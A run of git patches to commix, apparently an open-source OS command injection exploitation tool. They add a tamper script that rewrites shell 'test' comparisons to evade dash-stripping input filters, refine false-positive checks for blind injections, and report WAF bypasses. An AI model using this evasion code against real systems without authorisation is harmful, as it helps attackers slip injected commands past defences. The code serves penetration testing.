00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 6 Oct 2026 06:15:47 +0300 Subject: [PATCH 0862/1023] Added new tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright --- doc/CHANGELOG.md | 1 + src/tamper/dashlesstest.py | 73 ++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 5 +-- 3 files changed, 77 insertions(+), 2 deletions(-) create mode 100644 src/tamper/dashlesstest.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 560811b47c..80510f560a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright. * Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes. * Added: Support for PowerShell code injection through the `--eval=powershell` language. * Added: Support for Node code injection through the `--eval=javascript` language. diff --git a/src/tamper/dashlesstest.py b/src/tamper/dashlesstest.py new file mode 100644 index 0000000000..253148563e --- /dev/null +++ b/src/tamper/dashlesstest.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Runs 'test's numeric comparisons ('-eq'/'-ne'/'-le'/'-ge'/'-lt'/'-gt') without a '-' of their own, for a target that strips a bare '-' outright. +Notes: This tamper script works against target(s) with a POSIX shell. Equality is read as '='/'!=', which agrees with '-eq'/'-ne' exactly for the plain, unpadded decimal integers commix always compares this way - it would not for a value written with a leading zero. Ordering has no dash-free spelling of its own in 'test', so it is read instead from 'expr's own comparison, whose "<="/">="/"<"/">" need no '-' either - quoted, since unquoted they are shell redirections. +References: [1] https://github.com/digininja/DVWA/blob/master/vulnerabilities/exec/source/high.php +""" + +__tamper__ = "dashlesstest" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The ordering operators, spelled the way 'expr' reads them rather than 'test'. +_ORDER_OPERATORS = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">"} + +""" +A '[ LEFT OP RIGHT ]' ordering test, rewritten around 'expr' instead. Which side holds the plain +integer and which the longer expression is not the same from one caller to the next - a length is +compared against a variable on either side, depending on which payload built the check - so neither +side is assumed to be the simple one. What is assumed is that this bracket is flat: nothing commix +writes for this ever nests a second '[' inside the one being rewritten, so the nearest '[ ' before +the operator and the nearest ' ]' after it are this same test's own boundary, however long either +side runs. +""" +def _rewrite_ordering(payload): + for operator, symbol in _ORDER_OPERATORS.items(): + token = " " + operator + " " + search_from = 0 + while True: + op_index = payload.find(token, search_from) + if op_index == -1: + break + open_bracket = payload.rfind("[ ", 0, op_index) + close_bracket = payload.find(" ]", op_index + len(token)) + if open_bracket == -1 or close_bracket == -1: + search_from = op_index + len(token) + continue + left = payload[open_bracket + 2:op_index] + right = payload[op_index + len(token):close_bracket] + replacement = "[ $(expr " + left + " '" + symbol + "' " + right + ") = 1 ]" + payload = payload[:open_bracket] + replacement + payload[close_bracket + 2:] + search_from = open_bracket + len(replacement) + return payload + +# Read every comparison the way 'test' does without its own operators' '-'. +def tamper(payload): + payload = _rewrite_ordering(payload) + return payload.replace(" -eq ", " = ").replace(" -ne ", " != ") + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 23b52653a4..e3c5a8d784 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "190" +REVISION = "191" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1764,7 +1764,8 @@ class AUTH_TYPE(object): "backticks": False, "randomcase": False, "rev": False, - "cmd2loop": False + "cmd2loop": False, + "dashlesstest": False } # Execution priority for tamper scripts; each script defines its own __priority__. From 27b5f2fe5e452bd3cab89bf53a3587f8d1e896ae Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 6 Oct 2026 06:20:58 +0300 Subject: [PATCH 0863/1023] Various fixes, improvements, and updates --- README.md | 4 ++-- doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/controller/checks.py | 2 +- src/core/controller/handler.py | 2 +- src/core/controller/proof.py | 4 ++-- src/core/shells/modes.py | 4 ++-- src/utils/settings.py | 15 +++++++-------- 12 files changed, 21 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 20a6c413f0..31000c93b8 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features * **Five injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. -* **Code injection** - `--eval` tests the string a target evaluates as code, in PHP, Python, Ruby, JavaScript or PowerShell, over the same five techniques. +* **Code injection** - `--eval` tests the string a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over the same five techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. @@ -74,7 +74,7 @@ Prove execution out-of-band, where the response carries nothing back : > Out-of-band (OAST) detection with `--oob` uses the public `oast.fun` interactsh server by default, > so interaction metadata for your target leaves your network. Point `--oob-server` at a self-hosted > instance to keep it in-house. For a detailed guide, refer to the -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) wiki page. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) wiki page. Scan a list of targets unattended and write the results to a file : diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 13727bdd02..35a7d2ad34 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -85,7 +85,7 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph > interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen > de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía > detallada, consulte la página -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) del wiki. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) del wiki. Analizar una lista de objetivos de forma desatendida y guardar los resultados en un archivo: diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index e4b8ebe48e..f939c76c5d 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -77,7 +77,7 @@ > `oast.fun` استفاده می‌کند، بنابراین فراداده تعامل‌های مربوط به هدف شما از شبکه‌تان خارج می‌شود. > برای آنکه این داده‌ها درون‌سازمانی بماند، `--oob-server` را به نمونه‌ای که خودتان میزبانی می‌کنید > اشاره دهید. برای راهنمای کامل، صفحه -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) در ویکی را ببینید. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) در ویکی را ببینید. پویش فهرستی از هدف‌ها بدون نظارت و نوشتن نتایج در یک فایل: diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index f1e076c067..8abb6aac2e 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -85,7 +85,7 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph > `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. > Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide > détaillé, consultez la page -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) du wiki. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) du wiki. Analyser une liste de cibles sans surveillance et enregistrer les résultats dans un fichier : diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index f95153ec7a..798170f919 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -76,7 +76,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] > διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των αλληλεπιδράσεων με τον στόχο σας φεύγουν > από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική σας εγκατάσταση, ώστε να παραμείνουν > εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) στο wiki. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) στο wiki. Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο : diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index ae7328c4ba..2faa2b22d3 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -78,7 +78,7 @@ Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa > `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan > `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan > lengkap, lihat halaman -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) di wiki. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) di wiki. Memindai daftar target tanpa pengawasan dan menyimpan hasilnya ke sebuah berkas: diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 0275f4abd4..c7ef6b7c7d 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -78,7 +78,7 @@ Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı > sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın dışına çıkar. > Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı > rehber için wiki'deki -> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) sayfasına bakın. +> [**`out-of-band-technique-blind`**](https://github.com/commixproject/commix/wiki/Techniques#3-out-of-band-technique-blind) sayfasına bakın. Bir hedef listesini gözetimsiz taramak ve sonuçları bir dosyaya yazmak için: diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d7de5fbf53..0b9743a1ab 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1758,7 +1758,7 @@ def confirmed_injection_points_summary(): rows = settings.CONFIRMED_INJECTION_POINTS # The last row's snapshot of the running total is the total for the whole run, since the counter # only grows - so this reads right whether one technique was confirmed or several. - header_msg = "Identified the following injection point with a total of " + str(rows[-1][5]) + " HTTP(S) requests:" + header_msg = "Identified the following injection point(s) with a total of " + str(rows[-1][5]) + " HTTP(S) requests:" _injection_points_summary(header_msg, rows) """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 1000e944ce..e9c5e8b46b 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -282,7 +282,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c # execute_cmd() itself is responsible for logging the executed command. shell = execute_cmd(cmd) if shell: - settings.print_data_to_stdout(settings.command_execution_output(shell)) + settings.command_execution_output("Execution output", shell) else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index 4f6f0f0991..be09453fa2 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -210,7 +210,7 @@ def _control_timing(): if not settings.RESPONSE_TIMES: return [] average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - return ["unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples."] + return ["Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples."] """ The control that rules out coincidence: the answer must not already be somewhere the run could have @@ -224,7 +224,7 @@ def _control(expected): else "The answer is already there, in the unmodified page. (NOT CONFIRMED)") if settings.RESPONSE_TIMES: average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - lines.append("unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples.") + lines.append("Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples.") return lines """ diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py index 24ed353f82..da5d335066 100644 --- a/src/core/shells/modes.py +++ b/src/core/shells/modes.py @@ -58,14 +58,14 @@ def unsupported_msg(self): return "The '" + unsupported.upper() + "' option is not usable for '" + self.name + "' mode. Use the '" + supported.upper() + "' option." """ -Announce the mode, listing the compatible payloads until one is selected. +Announce the mode, listing the Compatible payloads until one is selected. """ def _announce(mode, selected_module): if selected_module is None: info_msg = "Selected mode: '" + mode.name + "'. Type 'set payload <payload>' to select one." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.print_module_table( - "Compatible Payloads", + "Compatible payloads", [(path, description) for path, (description, _) in mode.modules.items()] ) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e3c5a8d784..76937bc154 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -80,14 +80,13 @@ class HTTPMETHOD(object): CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = "" -#SUB_CONTENT_SIGN_TYPE = "" + Style.BRIGHT + "*" + Style.RESET_ALL + " " SUB_CONTENT_SIGN_TYPE = " * " TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of authentication credentials: " -OS_SHELL_TITLE = Style.BRIGHT + "Command Shell (type '?' for help)" + Style.RESET_ALL +OS_SHELL_TITLE = Style.BRIGHT + "Command shell (type '?' for help)" + Style.RESET_ALL RL_INVISIBLE_START = "\001" RL_INVISIBLE_END = "\002" @@ -256,7 +255,7 @@ def print_retrieved_data(label, retrieved, quoted=True): elif text.endswith(END_LINE.LF): text = text[:-1] if END_LINE.LF in text or len(text) > MAX_INLINE_VALUE_LENGTH: - body = END_LINE.LF + text + body = SINGLE_WHITESPACE + (END_LINE.LF + "'" + text + "'" if quoted else text) else: body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) return label + ":" + body + Style.RESET_ALL @@ -278,9 +277,9 @@ def _row(cells): return END_LINE.LF.join(lines) # Print output of command execution -def command_execution_output(shell): - result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL - return result +def command_execution_output(label, shell): + print_data_to_stdout(print_retrieved_data("Execution output", shell)) + return shell """ Write to stdout, falling back to a lossy re-encode for unsupported characters. @@ -405,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "191" +REVISION = "192" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2097,7 +2096,7 @@ class END_LINE: MAX_UPDATE_REASON_LENGTH = 200 # Longer than this and a retrieved value is shown fenced, rather than running off the label's line. -MAX_INLINE_VALUE_LENGTH = 80 +MAX_INLINE_VALUE_LENGTH = 200 # How many answers the concurrency probe times on each side, and the total below which it cannot say. CONCURRENCY_PROBE_REQUESTS = 16 From 905983db3a2704a4501723f7776d833e7924535a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 7 Oct 2026 05:50:52 +0300 Subject: [PATCH 0864/1023] Added a final false-positive check of the injection point as a whole, before reporting a finding --- src/core/controller/checks.py | 71 +++++++++++++++++++++++++++++++ src/core/controller/controller.py | 3 ++ src/core/controller/handler.py | 22 +++++----- src/core/controller/injector.py | 14 +++++- src/utils/settings.py | 2 +- 5 files changed, 99 insertions(+), 13 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0b9743a1ab..0cbbc7d0d4 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -138,6 +138,77 @@ def injection_techniques_status(): else: return True +# The state flag each technique's confirmation set - needed to roll one back if the final check below finds it was a false positive. +_STATE_BY_TECHNIQUE = { + settings.INJECTION_TECHNIQUE.RESULTS_BASED: "RESULTS_BASED_STATE", + settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: "EVAL_BASED_STATE", + settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: "BOOLEAN_BASED_STATE", + settings.INJECTION_TECHNIQUE.TIME_BASED: "TIME_BASED_STATE", + settings.INJECTION_TECHNIQUE.FILE_BASED: "FILE_BASED_STATE", + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: "TEMPFILE_BASED_STATE", + settings.INJECTION_TECHNIQUE.OOB: "OOB_STATE", +} + +# The techniques a confirmation can rest on alone - an inference, never a directly observed result. +_BLIND_TECHNIQUES = ( + settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + settings.INJECTION_TECHNIQUE.FILE_BASED, + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED, + settings.INJECTION_TECHNIQUE.OOB, +) + +""" +One last check of the parameter as a whole, once every applicable technique has already had its own +turn - a result-based or dynamic-code finding is an echoed value and is left as it stands, but a +parameter that only ever rests on an inference (boolean/time/file/tempfile/out-of-band) is asked the +same question once more before it is reported, the way the earlier per-technique confirmations were +each asked it on their own. 'mark' is the length of settings.CONFIRMED_INJECTION_POINTS before this +parameter's techniques ran, so only the entries they just added are the ones being re-asked about. +""" +def final_false_positive_check(url, http_request_method, check_parameter, timesec, mark): + new_points = settings.CONFIRMED_INJECTION_POINTS[mark:] + if not new_points or settings.LOAD_SESSION: + return + if any(row[0] not in _BLIND_TECHNIQUES for row in new_points): + return + boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + if not boundary: + return + prefix, suffix, separator, whitespace = boundary + from src.core.controller import injector + # One line for the whole parameter, said once - not the per-technique wording each technique's + # own confirmation already prints on the way here. + info_msg = "Checking if the injection point on " + settings.CHECKING_PARAMETER + " is a false positive" + if settings.VERBOSITY_LEVEL != 0: + info_msg = info_msg + "." + settings.END_LINE.LF + else: + info_msg = info_msg + ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + # A delay of 0 is what settings.TIMESEC sits at until some technique asks for a real one - a + # purely blind confirmation found through boolean-based alone never did, so the sleep this litmus + # measures needs the same safe minimum any other first ask for a delay would get. + timesec = timesec or settings.MIN_SAFE_TIMESEC + # The executor hands back elapsed time only while this flag is set - unset it hands back the raw + # response instead, which is all the litmus this reuses was ever written to read. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = True + try: + # Silent: this prints its own single line above, not the per-request one the reused check + # would otherwise add underneath it. + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True) + finally: + settings.TIME_RELATED_ATTACK = previous + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + if not output: + settings.CONFIRMED_INJECTION_POINTS = settings.CONFIRMED_INJECTION_POINTS[:mark] + settings.IDENTIFIED_COMMAND_INJECTION = False + for row in new_points: + setattr(settings, _STATE_BY_TECHNIQUE[row[0]], False) + """ Check for quoted values """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 164e689411..a20f9b5522 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1133,6 +1133,7 @@ def _run_techniques(): return True return False + confirmed_mark = len(settings.CONFIRMED_INJECTION_POINTS) end_detection = _run_techniques() # Nothing got through while a protection is in the way, so reach for a heavier evasion and # give the techniques another go - being blocked throughout is the answer this waits for. @@ -1141,6 +1142,8 @@ def _run_techniques(): settings.WAF_EVASION_ESCALATED = False end_detection = _run_techniques() + checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, confirmed_mark) + # All injection techniques seems to be failed! if checks.injection_techniques_status() is False: warn_msg = settings.CHECKING_PARAMETER diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index e9c5e8b46b..bd40c47172 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -749,8 +749,8 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return None # A boundary that answered both ways round is a candidate, and asking it once more is this - # technique's false-positive test - announced the way every other technique announces its own. - checks.check_for_false_positive_result(False) + # technique's own false-positive test - left unannounced, since the parameter as a whole gets + # one such announcement of its own once every technique has had its turn. # Asked once more, because a page that moves on its own can answer either way by itself. again, _ = injector.answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) if again is not True: @@ -1255,15 +1255,20 @@ def _control_answers_on_time(): # Set the original delay time original_exec_time = exec_time - # Check for false positive resutls + # Check for false positive results - silent, since this is a per-technique gate on + # whether to accept/retry the finding, not the one false-positive check reported to + # the user; that is settings.CHECKING_PARAMETER's own, asked once at the very end. if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True) if checks.time_related_shell(exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True + # Closes the "Testing/Continuing with..." spinner - the silent false-positive + # gate above no longer does this as a side effect of its own (now silenced) print. + checks.injection_process(injection_type, technique, done=True) else: break # False positive @@ -1614,8 +1619,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject # Yaw, got shellz! # Do some magic tricks! if shell and not resumed: - # Re-verify with a fresh marker/pair each round. - checks.check_for_false_positive_result(False) + # Re-verify with a fresh marker/pair each round - left unannounced, since the parameter as a + # whole gets one such announcement of its own once every technique has had its turn. verified = True if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS: # One write + one fetch for all rounds, not a cycle per round. @@ -1662,9 +1667,6 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject if not verified: checks.unexploitable_point() shell = False - elif settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - settings.close_progress_line() if shell: found = True no_result = False diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index fc2c498b6a..a82be07af8 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1214,10 +1214,17 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if not interpreter: a, c, b = sorted(random.sample(range(1, 50), 3)) # End on a must-delay check; the caller re-validates the final exec_time. + # Only when boolean-based never already proved the point - just in case the backend hasn't + # properly recovered from an earlier delayed request; boolean-based ran no such delay, so a + # confirmation resting on it alone has nothing to let settle. + settle = not settings.BOOLEAN_BASED_STATE if settings.TARGET_OS == settings.OS.WINDOWS: litmus_checks = [ (payloads.windows_condition_check(separator, str(a) + "-" + str(a), 0, timesec), True), - (payloads.windows_condition_check(separator, str(a) + "-" + str(c), 0, timesec), None), # discarded - lets the backend settle after any earlier delay + ] + if settle: + litmus_checks.append((payloads.windows_condition_check(separator, str(a) + "-" + str(c), 0, timesec), None)) # discarded - lets the backend settle after any earlier delay + litmus_checks += [ (payloads.windows_condition_check(separator, str(a) + "-" + str(b), 0, timesec), False), (payloads.windows_condition_check(separator, str(b) + "-" + str(c), 0, timesec), False), (payloads.windows_condition_check(separator, "1-1", 999999, timesec), False), # deliberate mismatch @@ -1226,7 +1233,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: litmus_checks = [ (payloads.condition_check(separator, str(a) + " -eq " + str(a), timesec, http_request_method), True), - (payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None), # discarded - lets the backend settle after any earlier delay + ] + if settle: + litmus_checks.append((payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None)) # discarded - lets the backend settle after any earlier delay + litmus_checks += [ (payloads.condition_check(separator, str(a) + " -eq " + str(b), timesec, http_request_method), False), (payloads.condition_check(separator, str(b) + " -eq " + str(c), timesec, http_request_method), False), ] diff --git a/src/utils/settings.py b/src/utils/settings.py index 76937bc154..1946099903 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "192" +REVISION = "193" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From dfaf7ae03ca1ec04a001665cb49485c338b77fc0 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 8 Oct 2026 06:35:39 +0300 Subject: [PATCH 0865/1023] Trivial update --- src/core/controller/checks.py | 6 ++++++ src/utils/settings.py | 4 +++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0cbbc7d0d4..6ac45923ba 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -5429,6 +5429,12 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h oracle_hint = boolean_oracle_hint(technique) info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Closes the loop the evasion messages opened - said once, the first time a finding actually + # confirms while it is active, rather than left implicit in the finding just having come through. + if settings.WAF_ENABLED and settings.WAF_EVASION_APPLIED and not settings.WAF_BYPASS_CONFIRMED: + settings.WAF_BYPASS_CONFIRMED = True + info_msg = "Bypassed the WAF/IPS by using the '" + settings.WAF_EVASION_APPLIED.replace(",", "', '") + "' tamper scripts." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload if not settings.LOAD_SESSION: diff --git a/src/utils/settings.py b/src/utils/settings.py index 1946099903..630e3d7c38 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -404,7 +404,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "193" +REVISION = "194" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1796,6 +1796,8 @@ class PRIORITY(object): } # What the evasion actually turned on, so it is reported once and never applied twice. WAF_EVASION_APPLIED = "" +# Whether the evasion getting a finding past the WAF/IPS has already been confirmed to the user. +WAF_BYPASS_CONFIRMED = False # Whether the user 